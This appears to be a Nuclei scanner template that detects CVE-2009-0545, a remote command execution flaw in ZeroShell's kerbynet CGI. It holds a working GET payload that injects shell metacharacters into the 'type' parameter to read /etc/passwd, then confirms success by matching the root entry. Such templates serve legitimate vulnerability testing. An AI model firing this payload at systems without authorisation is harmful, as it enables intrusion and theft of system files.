id: CVE-2009-0545

info:
  name: ZeroShell <= 1.0beta11 Remote Code Execution
  author: geeknik
  description: cgi-bin/kerbynet in ZeroShell 1.0beta11 and earlier allows remote attackers to execute arbitrary commands via shell metacharacters in the type parameter in a NoAuthREQ x509List action.
  reference: https://www.exploit-db.com/exploits/8023
  severity: critical
  tags: cve,cve2009,zeroshell,kerbynet,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"